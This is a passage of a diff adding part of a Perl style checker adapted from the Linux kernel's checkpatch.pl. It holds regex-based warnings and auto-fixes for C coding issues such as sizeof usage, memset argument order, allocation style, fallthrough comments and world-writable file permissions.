+				$kernel_type .= $1;
+				if (CHK("PREFER_KERNEL_TYPES",
+					"Prefer kernel type '$kernel_type' over '$type'\n" . $herecurr) &&
+				    $fix) {
+					$fixed[$fixlinenr] =~ s/\b$type\b/$kernel_type/;
+				}
+			}
+		}
+
+# check for cast of C90 native int or longer types constants
+		if ($line =~ /(\(\s*$C90_int_types\s*\)\s*)($Constant)\b/) {
+			my $cast = $1;
+			my $const = $2;
+			my $suffix = "";
+			my $newconst = $const;
+			$newconst =~ s/${Int_type}$//;
+			$suffix .= 'U' if ($cast =~ /\bunsigned\b/);
+			if ($cast =~ /\blong\s+long\b/) {
+			    $suffix .= 'LL';
+			} elsif ($cast =~ /\blong\b/) {
+			    $suffix .= 'L';
+			}
+			if (WARN("TYPECAST_INT_CONSTANT",
+				 "Unnecessary typecast of c90 int constant - '$cast$const' could be '$const$suffix'\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\Q$cast\E$const\b/$newconst$suffix/;
+			}
+		}
+
+# check for sizeof(&)
+		if ($line =~ /\bsizeof\s*\(\s*\&/) {
+			WARN("SIZEOF_ADDRESS",
+			     "sizeof(& should be avoided\n" . $herecurr);
+		}
+
+# check for sizeof without parenthesis
+		if ($line =~ /\bsizeof\s+((?:\*\s*|)$Lval|$Type(?:\s+$Lval|))/) {
+			if (WARN("SIZEOF_PARENTHESIS",
+				 "sizeof $1 should be sizeof($1)\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\bsizeof\s+((?:\*\s*|)$Lval|$Type(?:\s+$Lval|))/"sizeof(" . trim($1) . ")"/ex;
+			}
+		}
+
+# check for struct spinlock declarations
+		if ($line =~ /^.\s*\bstruct\s+spinlock\s+\w+\s*;/) {
+			WARN("USE_SPINLOCK_T",
+			     "struct spinlock should be spinlock_t\n" . $herecurr);
+		}
+
+# check for seq_printf uses that could be seq_puts
+		if ($sline =~ /\bseq_printf\s*\(.*"\s*\)\s*;\s*$/) {
+			my $fmt = get_quoted_string($line, $rawline);
+			$fmt =~ s/%%//g;
+			if ($fmt !~ /%/) {
+				if (WARN("PREFER_SEQ_PUTS",
+					 "Prefer seq_puts to seq_printf\n" . $herecurr) &&
+				    $fix) {
+					$fixed[$fixlinenr] =~ s/\bseq_printf\b/seq_puts/;
+				}
+			}
+		}
+
+# check for vsprintf extension %p<foo> misuses
+		if ($perl_version_ok &&
+		    defined $stat &&
+		    $stat =~ /^\+(?![^\{]*\{\s*).*\b(\w+)\s*\(.*$String\s*,/s &&
+		    $1 !~ /^_*volatile_*$/) {
+			my $stat_real;
+
+			my $lc = $stat =~ tr@\n@@;
+			$lc = $lc + $linenr;
+		        for (my $count = $linenr; $count <= $lc; $count++) {
+				my $specifier;
+				my $extension;
+				my $qualifier;
+				my $bad_specifier = "";
+				my $fmt = get_quoted_string($lines[$count - 1], raw_line($count, 0));
+				$fmt =~ s/%%//g;
+
+				while ($fmt =~ /(\%[\*\d\.]*p(\w)(\w*))/g) {
+					$specifier = $1;
+					$extension = $2;
+					$qualifier = $3;
+					if ($extension !~ /[4SsBKRraEehMmIiUDdgVCbGNOxtf]/ ||
+					    ($extension eq "f" &&
+					     defined $qualifier && $qualifier !~ /^w/) ||
+					    ($extension eq "4" &&
+					     defined $qualifier && $qualifier !~ /^cc/)) {
+						$bad_specifier = $specifier;
+						last;
+					}
+					if ($extension eq "x" && !defined($stat_real)) {
+						if (!defined($stat_real)) {
+							$stat_real = get_stat_real($linenr, $lc);
+						}
+						WARN("VSPRINTF_SPECIFIER_PX",
+						     "Using vsprintf specifier '\%px' potentially exposes the kernel memory layout, if you don't really need the address please consider using '\%p'.\n" . "$here\n$stat_real\n");
+					}
+				}
+				if ($bad_specifier ne "") {
+					my $stat_real = get_stat_real($linenr, $lc);
+					my $ext_type = "Invalid";
+					my $use = "";
+					if ($bad_specifier =~ /p[Ff]/) {
+						$use = " - use %pS instead";
+						$use =~ s/pS/ps/ if ($bad_specifier =~ /pf/);
+					}
+
+					WARN("VSPRINTF_POINTER_EXTENSION",
+					     "$ext_type vsprintf pointer extension '$bad_specifier'$use\n" . "$here\n$stat_real\n");
+				}
+			}
+		}
+
+# Check for misused memsets
+		if ($perl_version_ok &&
+		    defined $stat &&
+		    $stat =~ /^\+(?:.*?)\bmemset\s*\(\s*$FuncArg\s*,\s*$FuncArg\s*\,\s*$FuncArg\s*\)/) {
+
+			my $ms_addr = $2;
+			my $ms_val = $7;
+			my $ms_size = $12;
+
+			if ($ms_size =~ /^(0x|)0$/i) {
+				ERROR("MEMSET",
+				      "memset to 0's uses 0 as the 2nd argument, not the 3rd\n" . "$here\n$stat\n");
+			} elsif ($ms_size =~ /^(0x|)1$/i) {
+				WARN("MEMSET",
+				     "single byte memset is suspicious. Swapped 2nd/3rd argument?\n" . "$here\n$stat\n");
+			}
+		}
+
+# Check for memcpy(foo, bar, ETH_ALEN) that could be ether_addr_copy(foo, bar)
+#		if ($perl_version_ok &&
+#		    defined $stat &&
+#		    $stat =~ /^\+(?:.*?)\bmemcpy\s*\(\s*$FuncArg\s*,\s*$FuncArg\s*\,\s*ETH_ALEN\s*\)/) {
+#			if (WARN("PREFER_ETHER_ADDR_COPY",
+#				 "Prefer ether_addr_copy() over memcpy() if the Ethernet addresses are __aligned(2)\n" . "$here\n$stat\n") &&
+#			    $fix) {
+#				$fixed[$fixlinenr] =~ s/\bmemcpy\s*\(\s*$FuncArg\s*,\s*$FuncArg\s*\,\s*ETH_ALEN\s*\)/ether_addr_copy($2, $7)/;
+#			}
+#		}
+
+# Check for memcmp(foo, bar, ETH_ALEN) that could be ether_addr_equal*(foo, bar)
+#		if ($perl_version_ok &&
+#		    defined $stat &&
+#		    $stat =~ /^\+(?:.*?)\bmemcmp\s*\(\s*$FuncArg\s*,\s*$FuncArg\s*\,\s*ETH_ALEN\s*\)/) {
+#			WARN("PREFER_ETHER_ADDR_EQUAL",
+#			     "Prefer ether_addr_equal() or ether_addr_equal_unaligned() over memcmp()\n" . "$here\n$stat\n")
+#		}
+
+# check for memset(foo, 0x0, ETH_ALEN) that could be eth_zero_addr
+# check for memset(foo, 0xFF, ETH_ALEN) that could be eth_broadcast_addr
+#		if ($perl_version_ok &&
+#		    defined $stat &&
+#		    $stat =~ /^\+(?:.*?)\bmemset\s*\(\s*$FuncArg\s*,\s*$FuncArg\s*\,\s*ETH_ALEN\s*\)/) {
+#
+#			my $ms_val = $7;
+#
+#			if ($ms_val =~ /^(?:0x|)0+$/i) {
+#				if (WARN("PREFER_ETH_ZERO_ADDR",
+#					 "Prefer eth_zero_addr over memset()\n" . "$here\n$stat\n") &&
+#				    $fix) {
+#					$fixed[$fixlinenr] =~ s/\bmemset\s*\(\s*$FuncArg\s*,\s*$FuncArg\s*,\s*ETH_ALEN\s*\)/eth_zero_addr($2)/;
+#				}
+#			} elsif ($ms_val =~ /^(?:0xff|255)$/i) {
+#				if (WARN("PREFER_ETH_BROADCAST_ADDR",
+#					 "Prefer eth_broadcast_addr() over memset()\n" . "$here\n$stat\n") &&
+#				    $fix) {
+#					$fixed[$fixlinenr] =~ s/\bmemset\s*\(\s*$FuncArg\s*,\s*$FuncArg\s*,\s*ETH_ALEN\s*\)/eth_broadcast_addr($2)/;
+#				}
+#			}
+#		}
+
+# strlcpy uses that should likely be strscpy
+		if ($line =~ /\bstrlcpy\s*\(/) {
+			WARN("STRLCPY",
+			     "Prefer strscpy over strlcpy - see: https://lore.kernel.org/r/CAHk-=wgfRnXz0W3D37d01q3JFkr_i_uTL=V6A6G1oUZcprmknw\@mail.gmail.com/\n" . $herecurr);
+		}
+
+# typecasts on min/max could be min_t/max_t
+		if ($perl_version_ok &&
+		    defined $stat &&
+		    $stat =~ /^\+(?:.*?)\b(min|max)\s*\(\s*$FuncArg\s*,\s*$FuncArg\s*\)/) {
+			if (defined $2 || defined $7) {
+				my $call = $1;
+				my $cast1 = deparenthesize($2);
+				my $arg1 = $3;
+				my $cast2 = deparenthesize($7);
+				my $arg2 = $8;
+				my $cast;
+
+				if ($cast1 ne "" && $cast2 ne "" && $cast1 ne $cast2) {
+					$cast = "$cast1 or $cast2";
+				} elsif ($cast1 ne "") {
+					$cast = $cast1;
+				} else {
+					$cast = $cast2;
+				}
+				WARN("MINMAX",
+				     "$call() should probably be ${call}_t($cast, $arg1, $arg2)\n" . "$here\n$stat\n");
+			}
+		}
+
+# check usleep_range arguments
+		if ($perl_version_ok &&
+		    defined $stat &&
+		    $stat =~ /^\+(?:.*?)\busleep_range\s*\(\s*($FuncArg)\s*,\s*($FuncArg)\s*\)/) {
+			my $min = $1;
+			my $max = $7;
+			if ($min eq $max) {
+				WARN("USLEEP_RANGE",
+				     "usleep_range should not use min == max args; see Documentation/timers/timers-howto.rst\n" . "$here\n$stat\n");
+			} elsif ($min =~ /^\d+$/ && $max =~ /^\d+$/ &&
+				 $min > $max) {
+				WARN("USLEEP_RANGE",
+				     "usleep_range args reversed, use min then max; see Documentation/timers/timers-howto.rst\n" . "$here\n$stat\n");
+			}
+		}
+
+# check for naked sscanf
+		if ($perl_version_ok &&
+		    defined $stat &&
+		    $line =~ /\bsscanf\b/ &&
+		    ($stat !~ /$Ident\s*=\s*sscanf\s*$balanced_parens/ &&
+		     $stat !~ /\bsscanf\s*$balanced_parens\s*(?:$Compare)/ &&
+		     $stat !~ /(?:$Compare)\s*\bsscanf\s*$balanced_parens/)) {
+			my $lc = $stat =~ tr@\n@@;
+			$lc = $lc + $linenr;
+			my $stat_real = get_stat_real($linenr, $lc);
+			WARN("NAKED_SSCANF",
+			     "unchecked sscanf return value\n" . "$here\n$stat_real\n");
+		}
+
+# check for simple sscanf that should be kstrto<foo>
+		if ($perl_version_ok &&
+		    defined $stat &&
+		    $line =~ /\bsscanf\b/) {
+			my $lc = $stat =~ tr@\n@@;
+			$lc = $lc + $linenr;
+			my $stat_real = get_stat_real($linenr, $lc);
+			if ($stat_real =~ /\bsscanf\b\s*\(\s*$FuncArg\s*,\s*("[^"]+")/) {
+				my $format = $6;
+				my $count = $format =~ tr@%@%@;
+				if ($count == 1 &&
+				    $format =~ /^"\%(?i:ll[udxi]|[udxi]ll|ll|[hl]h?[udxi]|[udxi][hl]h?|[hl]h?|[udxi])"$/) {
+					WARN("SSCANF_TO_KSTRTO",
+					     "Prefer tst_parse_<type> to single variable sscanf\n" . "$here\n$stat_real\n");
+				}
+			}
+		}
+
+# check for new externs in .h files.
+		if ($realfile =~ /\.h$/ &&
+		    $line =~ /^\+\s*(extern\s+)$Type\s*$Ident\s*\(/s) {
+			if (CHK("AVOID_EXTERNS",
+				"extern prototypes should be avoided in .h files\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/(.*)\bextern\b\s*(.*)/$1$2/;
+			}
+		}
+
+# check for new externs in .c files.
+		if ($realfile =~ /\.c$/ && defined $stat &&
+		    $stat =~ /^.\s*(?:extern\s+)?$Type\s+($Ident)(\s*)\(/s)
+		{
+			my $function_name = $1;
+			my $paren_space = $2;
+
+			my $s = $stat;
+			if (defined $cond) {
+				substr($s, 0, length($cond), '');
+			}
+			if ($s =~ /^\s*;/)
+			{
+				WARN("AVOID_EXTERNS",
+				     "externs should be avoided in .c files\n" .  $herecurr);
+			}
+
+			if ($paren_space =~ /\n/) {
+				WARN("FUNCTION_ARGUMENTS",
+				     "arguments for function declarations should follow identifier\n" . $herecurr);
+			}
+
+		} elsif ($realfile =~ /\.c$/ && defined $stat &&
+		    $stat =~ /^.\s*extern\s+/)
+		{
+			WARN("AVOID_EXTERNS",
+			     "externs should be avoided in .c files\n" .  $herecurr);
+		}
+
+# check for function declarations that have arguments without identifier names
+		if (defined $stat &&
+		    $stat =~ /^.\s*(?:extern\s+)?$Type\s*(?:$Ident|\(\s*\*\s*$Ident\s*\))\s*\(\s*([^{]+)\s*\)\s*;/s &&
+		    $1 ne "void") {
+			my $args = trim($1);
+			while ($args =~ m/\s*($Type\s*(?:$Ident|\(\s*\*\s*$Ident?\s*\)\s*$balanced_parens)?)/g) {
+				my $arg = trim($1);
+				if ($arg =~ /^$Type$/ && $arg !~ /enum\s+$Ident$/) {
+					WARN("FUNCTION_ARGUMENTS",
+					     "function definition argument '$arg' should also have an identifier name\n" . $herecurr);
+				}
+			}
+		}
+
+# check for function definitions
+		if ($perl_version_ok &&
+		    defined $stat &&
+		    $stat =~ /^.\s*(?:$Storage\s+)?$Type\s*($Ident)\s*$balanced_parens\s*{/s) {
+			$context_function = $1;
+
+# check for multiline function definition with misplaced open brace
+			my $ok = 0;
+			my $cnt = statement_rawlines($stat);
+			my $herectx = $here . "\n";
+			for (my $n = 0; $n < $cnt; $n++) {
+				my $rl = raw_line($linenr, $n);
+				$herectx .=  $rl . "\n";
+				$ok = 1 if ($rl =~ /^[ \+]\{/);
+				$ok = 1 if ($rl =~ /\{/ && $n == 0);
+				last if $rl =~ /^[ \+].*\{/;
+			}
+			if (!$ok) {
+				ERROR("OPEN_BRACE",
+				      "open brace '{' following function definitions go on the next line\n" . $herectx);
+			}
+		}
+
+# checks for new __setup's
+		if ($rawline =~ /\b__setup\("([^"]*)"/) {
+			my $name = $1;
+
+			if (!grep(/$name/, @setup_docs)) {
+				CHK("UNDOCUMENTED_SETUP",
+				    "__setup appears un-documented -- check Documentation/admin-guide/kernel-parameters.txt\n" . $herecurr);
+			}
+		}
+
+# check for pointless casting of alloc functions
+		if ($line =~ /\*\s*\)\s*$allocFunctions\b/) {
+			WARN("UNNECESSARY_CASTS",
+			     "unnecessary cast may hide bugs, see http://c-faq.com/malloc/mallocnocast.html\n" . $herecurr);
+		}
+
+# alloc style
+# p = alloc(sizeof(struct foo), ...) should be p = alloc(sizeof(*p), ...)
+		if ($perl_version_ok &&
+		    $line =~ /\b($Lval)\s*\=\s*(?:$balanced_parens)?\s*((?:kv|k|v)[mz]alloc(?:_node)?)\s*\(\s*(sizeof\s*\(\s*struct\s+$Lval\s*\))/) {
+			CHK("ALLOC_SIZEOF_STRUCT",
+			    "Prefer $3(sizeof(*$1)...) over $3($4...)\n" . $herecurr);
+		}
+
+# check for k[mz]alloc with multiplies that could be kmalloc_array/kcalloc
+		if ($perl_version_ok &&
+		    defined $stat &&
+		    $stat =~ /^\+\s*($Lval)\s*\=\s*(?:$balanced_parens)?\s*(k[mz]alloc)\s*\(\s*($FuncArg)\s*\*\s*($FuncArg)\s*,/) {
+			my $oldfunc = $3;
+			my $a1 = $4;
+			my $a2 = $10;
+			my $newfunc = "kmalloc_array";
+			$newfunc = "kcalloc" if ($oldfunc eq "kzalloc");
+			my $r1 = $a1;
+			my $r2 = $a2;
+			if ($a1 =~ /^sizeof\s*\S/) {
+				$r1 = $a2;
+				$r2 = $a1;
+			}
+			if ($r1 !~ /^sizeof\b/ && $r2 =~ /^sizeof\s*\S/ &&
+			    !($r1 =~ /^$Constant$/ || $r1 =~ /^[A-Z_][A-Z0-9_]*$/)) {
+				my $cnt = statement_rawlines($stat);
+				my $herectx = get_stat_here($linenr, $cnt, $here);
+
+				if (WARN("ALLOC_WITH_MULTIPLY",
+					 "Prefer $newfunc over $oldfunc with multiply\n" . $herectx) &&
+				    $cnt == 1 &&
+				    $fix) {
+					$fixed[$fixlinenr] =~ s/\b($Lval)\s*\=\s*(?:$balanced_parens)?\s*(k[mz]alloc)\s*\(\s*($FuncArg)\s*\*\s*($FuncArg)/$1 . ' = ' . "$newfunc(" . trim($r1) . ', ' . trim($r2)/e;
+				}
+			}
+		}
+
+# check for krealloc arg reuse
+		if ($perl_version_ok &&
+		    $line =~ /\b($Lval)\s*\=\s*(?:$balanced_parens)?\s*krealloc\s*\(\s*($Lval)\s*,/ &&
+		    $1 eq $3) {
+			WARN("KREALLOC_ARG_REUSE",
+			     "Reusing the krealloc arg is almost always a bug\n" . $herecurr);
+		}
+
+# check for alloc argument mismatch
+		if ($line =~ /\b((?:devm_)?(?:kcalloc|kmalloc_array))\s*\(\s*sizeof\b/) {
+			WARN("ALLOC_ARRAY_ARGS",
+			     "$1 uses number as first arg, sizeof is generally wrong\n" . $herecurr);
+		}
+
+# check for multiple semicolons
+		if ($line =~ /;\s*;\s*$/) {
+			if (WARN("ONE_SEMICOLON",
+				 "Statements terminations use 1 semicolon\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/(\s*;\s*){2,}$/;/g;
+			}
+		}
+
+# check for #defines like: 1 << <digit> that could be BIT(digit), it is not exported to uapi
+		if ($realfile !~ m@^include/uapi/@ &&
+		    $line =~ /#\s*define\s+\w+\s+\(?\s*1\s*([ulUL]*)\s*\<\<\s*(?:\d+|$Ident)\s*\)?/) {
+			my $ull = "";
+			$ull = "_ULL" if (defined($1) && $1 =~ /ll/i);
+			if (CHK("BIT_MACRO",
+				"Prefer using the BIT$ull macro\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\(?\s*1\s*[ulUL]*\s*<<\s*(\d+|$Ident)\s*\)?/BIT${ull}($1)/;
+			}
+		}
+
+# check for IS_ENABLED() without CONFIG_<FOO> ($rawline for comments too)
+		if ($rawline =~ /\bIS_ENABLED\s*\(\s*(\w+)\s*\)/ && $1 !~ /^${CONFIG_}/) {
+			WARN("IS_ENABLED_CONFIG",
+			     "IS_ENABLED($1) is normally used as IS_ENABLED(${CONFIG_}$1)\n" . $herecurr);
+		}
+
+# check for #if defined CONFIG_<FOO> || defined CONFIG_<FOO>_MODULE
+		if ($line =~ /^\+\s*#\s*if\s+defined(?:\s*\(?\s*|\s+)(${CONFIG_}[A-Z_]+)\s*\)?\s*\|\|\s*defined(?:\s*\(?\s*|\s+)\1_MODULE\s*\)?\s*$/) {
+			my $config = $1;
+			if (WARN("PREFER_IS_ENABLED",
+				 "Prefer IS_ENABLED(<FOO>) to ${CONFIG_}<FOO> || ${CONFIG_}<FOO>_MODULE\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] = "\+#if IS_ENABLED($config)";
+			}
+		}
+
+# check for /* fallthrough */ like comment, prefer fallthrough;
+		my @fallthroughs = (
+			'fallthrough',
+			'@fallthrough@',
+			'lint -fallthrough[ \t]*',
+			'intentional(?:ly)?[ \t]*fall(?:(?:s | |-)[Tt]|t)hr(?:ough|u|ew)',
+			'(?:else,?\s*)?FALL(?:S | |-)?THR(?:OUGH|U|EW)[ \t.!]*(?:-[^\n\r]*)?',
+			'Fall(?:(?:s | |-)[Tt]|t)hr(?:ough|u|ew)[ \t.!]*(?:-[^\n\r]*)?',
+			'fall(?:s | |-)?thr(?:ough|u|ew)[ \t.!]*(?:-[^\n\r]*)?',
+		    );
+		if ($raw_comment ne '') {
+			foreach my $ft (@fallthroughs) {
+				if ($raw_comment =~ /$ft/) {
+					my $msg_level = \&WARN;
+					$msg_level = \&CHK if ($file);
+					&{$msg_level}("PREFER_FALLTHROUGH",
+						      "Prefer 'fallthrough;' over fallthrough comment\n" . $herecurr);
+					last;
+				}
+			}
+		}
+
+# check for switch/default statements without a break;
+		if ($perl_version_ok &&
+		    defined $stat &&
+		    $stat =~ /^\+[$;\s]*(?:case[$;\s]+\w+[$;\s]*:[$;\s]*|)*[$;\s]*\bdefault[$;\s]*:[$;\s]*;/g) {
+			my $cnt = statement_rawlines($stat);
+			my $herectx = get_stat_here($linenr, $cnt, $here);
+
+			WARN("DEFAULT_NO_BREAK",
+			     "switch default: should use break\n" . $herectx);
+		}
+
+# check for gcc specific __FUNCTION__
+		if ($line =~ /\b__FUNCTION__\b/) {
+			if (WARN("USE_FUNC",
+				 "__func__ should be used instead of gcc specific __FUNCTION__\n"  . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\b__FUNCTION__\b/__func__/g;
+			}
+		}
+
+# check for uses of __DATE__, __TIME__, __TIMESTAMP__
+		while ($line =~ /\b(__(?:DATE|TIME|TIMESTAMP)__)\b/g) {
+			ERROR("DATE_TIME",
+			      "Use of the '$1' macro makes the build non-deterministic\n" . $herecurr);
+		}
+
+# check for use of yield()
+		if ($line =~ /\byield\s*\(\s*\)/) {
+			WARN("YIELD",
+			     "Using yield() is generally wrong. See yield() kernel-doc (sched/core.c)\n"  . $herecurr);
+		}
+
+# check for comparisons against true and false
+		if ($line =~ /\+\s*(.*?)\b(true|false|$Lval)\s*(==|\!=)\s*(true|false|$Lval)\b(.*)$/i) {
+			my $lead = $1;
+			my $arg = $2;
+			my $test = $3;
+			my $otype = $4;
+			my $trail = $5;
+			my $op = "!";
+
+			($arg, $otype) = ($otype, $arg) if ($arg =~ /^(?:true|false)$/i);
+
+			my $type = lc($otype);
+			if ($type =~ /^(?:true|false)$/) {
+				if (("$test" eq "==" && "$type" eq "true") ||
+				    ("$test" eq "!=" && "$type" eq "false")) {
+					$op = "";
+				}
+
+				CHK("BOOL_COMPARISON",
+				    "Using comparison to $otype is error prone\n" . $herecurr);
+
+## maybe suggesting a correct construct would better
+##				    "Using comparison to $otype is error prone.  Perhaps use '${lead}${op}${arg}${trail}'\n" . $herecurr);
+
+			}
+		}
+
+# check for semaphores initialized locked
+		if ($line =~ /^.\s*sema_init.+,\W?0\W?\)/) {
+			WARN("CONSIDER_COMPLETION",
+			     "consider using a completion\n" . $herecurr);
+		}
+
+# recommend kstrto* over simple_strto* and strict_strto*
+		if ($line =~ /\b((simple|strict)_(strto(l|ll|ul|ull)))\s*\(/) {
+			WARN("CONSIDER_KSTRTO",
+			     "$1 is obsolete, use k$3 instead\n" . $herecurr);
+		}
+
+# check for __initcall(), use device_initcall() explicitly or more appropriate function please
+		if ($line =~ /^.\s*__initcall\s*\(/) {
+			WARN("USE_DEVICE_INITCALL",
+			     "please use device_initcall() or more appropriate function instead of __initcall() (see include/linux/init.h)\n" . $herecurr);
+		}
+
+# check for spin_is_locked(), suggest lockdep instead
+		if ($line =~ /\bspin_is_locked\(/) {
+			WARN("USE_LOCKDEP",
+			     "Where possible, use lockdep_assert_held instead of assertions based on spin_is_locked\n" . $herecurr);
+		}
+
+# check for deprecated apis
+		if ($line =~ /\b($deprecated_apis_search)\b\s*\(/) {
+			my $deprecated_api = $1;
+			my $new_api = $deprecated_apis{$deprecated_api};
+			WARN("DEPRECATED_API",
+			     "Deprecated use of '$deprecated_api', prefer '$new_api' instead\n" . $herecurr);
+		}
+
+# check for various structs that are normally const (ops, kgdb, device_tree)
+# and avoid what seem like struct definitions 'struct foo {'
+		if (defined($const_structs) &&
+		    $line !~ /\bconst\b/ &&
+		    $line =~ /\bstruct\s+($const_structs)\b(?!\s*\{)/) {
+			WARN("CONST_STRUCT",
+			     "struct $1 should normally be const\n" . $herecurr);
+		}
+
+# use of NR_CPUS is usually wrong
+# ignore definitions of NR_CPUS and usage to define arrays as likely right
+# ignore designated initializers using NR_CPUS
+		if ($line =~ /\bNR_CPUS\b/ &&
+		    $line !~ /^.\s*\s*#\s*if\b.*\bNR_CPUS\b/ &&
+		    $line !~ /^.\s*\s*#\s*define\b.*\bNR_CPUS\b/ &&
+		    $line !~ /^.\s*$Declare\s.*\[[^\]]*NR_CPUS[^\]]*\]/ &&
+		    $line !~ /\[[^\]]*\.\.\.[^\]]*NR_CPUS[^\]]*\]/ &&
+		    $line !~ /\[[^\]]*NR_CPUS[^\]]*\.\.\.[^\]]*\]/ &&
+		    $line !~ /^.\s*\.\w+\s*=\s*.*\bNR_CPUS\b/)
+		{
+			WARN("NR_CPUS",
+			     "usage of NR_CPUS is often wrong - consider using cpu_possible(), num_possible_cpus(), for_each_possible_cpu(), etc\n" . $herecurr);
+		}
+
+# Use of __ARCH_HAS_<FOO> or ARCH_HAVE_<BAR> is wrong.
+		if ($line =~ /\+\s*#\s*define\s+((?:__)?ARCH_(?:HAS|HAVE)\w*)\b/) {
+			ERROR("DEFINE_ARCH_HAS",
+			      "#define of '$1' is wrong - use Kconfig variables or standard guards instead\n" . $herecurr);
+		}
+
+# likely/unlikely comparisons similar to "(likely(foo) > 0)"
+		if ($perl_version_ok &&
+		    $line =~ /\b((?:un)?likely)\s*\(\s*$FuncArg\s*\)\s*$Compare/) {
+			WARN("LIKELY_MISUSE",
+			     "Using $1 should generally have parentheses around the comparison\n" . $herecurr);
+		}
+
+# return sysfs_emit(foo, fmt, ...) fmt without newline
+		if ($line =~ /\breturn\s+sysfs_emit\s*\(\s*$FuncArg\s*,\s*($String)/ &&
+		    substr($rawline, $-[6], $+[6] - $-[6]) !~ /\\n"$/) {
+			my $offset = $+[6] - 1;
+			if (WARN("SYSFS_EMIT",
+				 "return sysfs_emit(...) formats should include a terminating newline\n" . $herecurr) &&
+			    $fix) {
+				substr($fixed[$fixlinenr], $offset, 0) = '\\n';
+			}
+		}
+
+# nested likely/unlikely calls
+		if ($line =~ /\b(?:(?:un)?likely)\s*\(\s*!?\s*(IS_ERR(?:_OR_NULL|_VALUE)?|WARN)/) {
+			WARN("LIKELY_MISUSE",
+			     "nested (un)?likely() calls, $1 already uses unlikely() internally\n" . $herecurr);
+		}
+
+# whine mightly about in_atomic
+		if ($line =~ /\bin_atomic\s*\(/) {
+			if ($realfile =~ m@^drivers/@) {
+				ERROR("IN_ATOMIC",
+				      "do not use in_atomic in drivers\n" . $herecurr);
+			} elsif ($realfile !~ m@^kernel/@) {
+				WARN("IN_ATOMIC",
+				     "use of in_atomic() is incorrect outside core kernel code\n" . $herecurr);
+			}
+		}
+
+# check for lockdep_set_novalidate_class
+		if ($line =~ /^.\s*lockdep_set_novalidate_class\s*\(/ ||
+		    $line =~ /__lockdep_no_validate__\s*\)/ ) {
+			if ($realfile !~ m@^kernel/lockdep@ &&
+			    $realfile !~ m@^include/linux/lockdep@ &&
+			    $realfile !~ m@^drivers/base/core@) {
+				ERROR("LOCKDEP",
+				      "lockdep_no_validate class is reserved for device->mutex.\n" . $herecurr);
+			}
+		}
+
+		if ($line =~ /debugfs_create_\w+.*\b$mode_perms_world_writable\b/ ||
+		    $line =~ /DEVICE_ATTR.*\b$mode_perms_world_writable\b/) {
+			WARN("EXPORTED_WORLD_WRITABLE",
+			     "Exporting world writable files is usually an error. Consider more restrictive permissions.\n" . $herecurr);
+		}
+
+# check for DEVICE_ATTR uses that could be DEVICE_ATTR_<FOO>
+# and whether or not function naming is typical and if
+# DEVICE_ATTR permissions uses are unusual too
+		if ($perl_version_ok &&
+		    defined $stat &&
+		    $stat =~ /\bDEVICE_ATTR\s*\(\s*(\w+)\s*,\s*\(?\s*(\s*(?:${multi_mode_perms_string_search}|0[0-7]{3,3})\s*)\s*\)?\s*,\s*(\w+)\s*,\s*(\w+)\s*\)/) {
+			my $var = $1;
+			my $perms = $2;
+			my $show = $3;
+			my $store = $4;
+			my $octal_perms = perms_to_octal($perms);
+			if ($show =~ /^${var}_show$/ &&
+			    $store =~ /^${var}_store$/ &&
+			    $octal_perms eq "0644") {
+				if (WARN("DEVICE_ATTR_RW",
+					 "Use DEVICE_ATTR_RW\n" . $herecurr) &&
+				    $fix) {
+					$fixed[$fixlinenr] =~ s/\bDEVICE_ATTR\s*\(\s*$var\s*,\s*\Q$perms\E\s*,\s*$show\s*,\s*$store\s*\)/DEVICE_ATTR_RW(${var})/;
+				}
+			} elsif ($show =~ /^${var}_show$/ &&
+				 $store =~ /^NULL$/ &&
+				 $octal_perms eq "0444") {
+				if (WARN("DEVICE_ATTR_RO",
+					 "Use DEVICE_ATTR_RO\n" . $herecurr) &&
+				    $fix) {
+					$fixed[$fixlinenr] =~ s/\bDEVICE_ATTR\s*\(\s*$var\s*,\s*\Q$perms\E\s*,\s*$show\s*,\s*NULL\s*\)/DEVICE_ATTR_RO(${var})/;
+				}
+			} elsif ($show =~ /^NULL$/ &&
+				 $store =~ /^${var}_store$/ &&
+				 $octal_perms eq "0200") {
+				if (WARN("DEVICE_ATTR_WO",
+					 "Use DEVICE_ATTR_WO\n" . $herecurr) &&
+				    $fix) {
+					$fixed[$fixlinenr] =~ s/\bDEVICE_ATTR\s*\(\s*$var\s*,\s*\Q$perms\E\s*,\s*NULL\s*,\s*$store\s*\)/DEVICE_ATTR_WO(${var})/;
+				}
+			} elsif ($octal_perms eq "0644" ||
+				 $octal_perms eq "0444" ||
+				 $octal_perms eq "0200") {
+				my $newshow = "$show";
+				$newshow = "${var}_show" if ($show ne "NULL" && $show ne "${var}_show");
+				my $newstore = $store;
+				$newstore = "${var}_store" if ($store ne "NULL" && $store ne "${var}_store");
+				my $rename = "";
+				if ($show ne $newshow) {
+					$rename .= " '$show' to '$newshow'";
+				}
+				if ($store ne $newstore) {
+					$rename .= " '$store' to '$newstore'";
+				}
+				WARN("DEVICE_ATTR_FUNCTIONS",
+				     "Consider renaming function(s)$rename\n" . $herecurr);
+			} else {
+				WARN("DEVICE_ATTR_PERMS",
+				     "DEVICE_ATTR unusual permissions '$perms' used\n" . $herecurr);
+			}
+		}
+
+# Mode permission misuses where it seems decimal should be octal
+# This uses a shortcut match to avoid unnecessary uses of a slow foreach loop
+# o Ignore module_param*(...) uses with a decimal 0 permission as that has a
+#   specific definition of not visible in sysfs.
+# o Ignore proc_create*(...) uses with a decimal 0 permission as that means
+#   use the default permissions
+		if ($perl_version_ok &&
+		    defined $stat &&
+		    $line =~ /$mode_perms_search/) {
+			foreach my $entry (@mode_permission_funcs) {
+				my $func = $entry->[0];
+				my $arg_pos = $entry->[1];
+
+				my $lc = $stat =~ tr@\n@@;
+				$lc = $lc + $linenr;
+				my $stat_real = get_stat_real($linenr, $lc);
+
+				my $skip_args = "";
+				if ($arg_pos > 1) {
+					$arg_pos--;
+					$skip_args = "(?:\\s*$FuncArg\\s*,\\s*){$arg_pos,$arg_pos}";
+				}
+				my $test = "\\b$func\\s*\\(${skip_args}($FuncArg(?:\\|\\s*$FuncArg)*)\\s*[,\\)]";
